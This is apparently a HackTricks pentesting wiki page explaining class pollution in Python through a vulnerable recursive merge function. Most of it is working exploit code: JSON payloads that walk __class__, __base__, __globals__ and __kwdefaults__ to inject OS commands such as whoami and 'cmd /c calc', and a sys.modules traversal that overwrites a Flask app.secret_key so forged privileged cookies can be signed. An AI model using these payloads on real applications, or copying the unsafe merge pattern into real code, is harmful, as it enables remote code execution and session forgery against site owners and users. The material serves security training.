# Class Pollution (Python's Prototype Pollution)
{% hint style="success" %}
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{% endhint %}
## Basic Example
Check how is possible to pollute classes of objects with strings:
```python
class Company: pass
class Developer(Company): pass
class Entity(Developer): pass
c = Company()
d = Developer()
e = Entity()
print(c) #<__main__.Company object at 0x1043a72b0>
print(d) #<__main__.Developer object at 0x1041d2b80>
print(e) #<__main__.Entity object at 0x1041d2730>
e.__class__.__qualname__ = 'Polluted_Entity'
print(e) #<__main__.Polluted_Entity object at 0x1041d2730>
e.__class__.__base__.__qualname__ = 'Polluted_Developer'
e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company'
print(d) #<__main__.Polluted_Developer object at 0x1041d2b80>
print(c) #<__main__.Polluted_Company object at 0x1043a72b0>
```
## Basic Vulnerability Example
```python
# Initial state
class Employee: pass
emp = Employee()
print(vars(emp)) #{}
# Vulenrable function
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
USER_INPUT = {
"name":"Ahemd",
"age": 23,
"manager":{
"name":"Sarah"
}
}
merge(USER_INPUT, emp)
print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
```
## Gadget Examples
Creating class property default value to RCE (subprocess)
```python
from os import popen
class Employee: pass # Creating an empty class
class HR(Employee): pass # Class inherits from Employee class
class Recruiter(HR): pass # Class inherits from HR class
class SystemAdmin(Employee): # Class inherits from Employee class
def execute_command(self):
command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there'
return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
USER_INPUT = {
"__class__":{
"__base__":{
"__base__":{
"custom_command": "whoami"
}
}
}
}
recruiter_emp = Recruiter()
system_admin_emp = SystemAdmin()
print(system_admin_emp.execute_command())
#> [!] Executing: "echo Hello there", output: "Hello there"
# Create default value for Employee.custom_command
merge(USER_INPUT, recruiter_emp)
print(system_admin_emp.execute_command())
#> [!] Executing: "whoami", output: "abdulrah33m"
```
Polluting other classes and global vars through globals
```python
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class User:
def __init__(self):
pass
class NotAccessibleClass: pass
not_accessible_variable = 'Hello'
merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())
print(not_accessible_variable) #> Polluted variable
print(NotAccessibleClass) #>
```
Arbitrary subprocess execution
```python
import subprocess, json
class Employee:
def __init__(self):
pass
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
# Overwrite env var "COMSPEC" to execute a calc
USER_INPUT = json.loads('{"__init__":{"__globals__":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value
merge(USER_INPUT, Employee())
subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
```
Overwritting __kwdefaults__
**`__kwdefaults__`** is a special attribute of all functions, based on Python [documentation](https://docs.python.org/3/library/inspect.html), it is a “mapping of any default values for **keyword-only** parameters”. Polluting this attribute allows us to control the default values of keyword-only parameters of a function, these are the function’s parameters that come after \* or \*args.
```python
from os import system
import json
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class Employee:
def __init__(self):
pass
def execute(*, command='whoami'):
print(f'Executing {command}')
system(command)
print(execute.__kwdefaults__) #> {'command': 'whoami'}
execute() #> Executing whoami
#> user
emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"execute":{"__kwdefaults__":{"command":"echo Polluted"}}}}}}') # attacker-controlled value
merge(emp_info, Employee())
print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
execute() #> Executing echo Polluted
#> Polluted
```
Overwriting Flask secret across files
So, if you can do a class pollution over an object defined in the main python file of the web but **whose class is defined in a different file** than the main one. Because in order to access \_\_globals\_\_ in the previous payloads you need to access the class of the object or methods of the class, you will be able to **access the globals in that file, but not in the main one**.\
Therefore, you **won't be able to access the Flask app global object** that defined the **secret key** in the main page:
```python
app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'
```
In this scenario you need a gadget to traverse files to get to the main one to **access the global object `app.secret_key`** to change the Flask secret key and be able to [**escalate privileges** knowing this key](/hacktricks/network-services-pentesting/pentesting-web/flask.md#flask-unsign).
A payload like this one [from this writeup](https://ctftime.org/writeup/36082):
{% code overflow="wrap" %}
```python
__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key
```
{% endcode %}
Use this payload to **change `app.secret_key`** (the name in your app might be different) to be able to sign new and more privileges flask cookies.
Check also the following page for more read only gadgets:
{% content-ref url="/pages/8f3ANAbG8t1X15ST7RJM" %}
[Python Internal Read Gadgets](/hacktricks/generic-methodologies-and-resources/python/python-internal-read-gadgets.md)
{% endcontent-ref %}
## References
*
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
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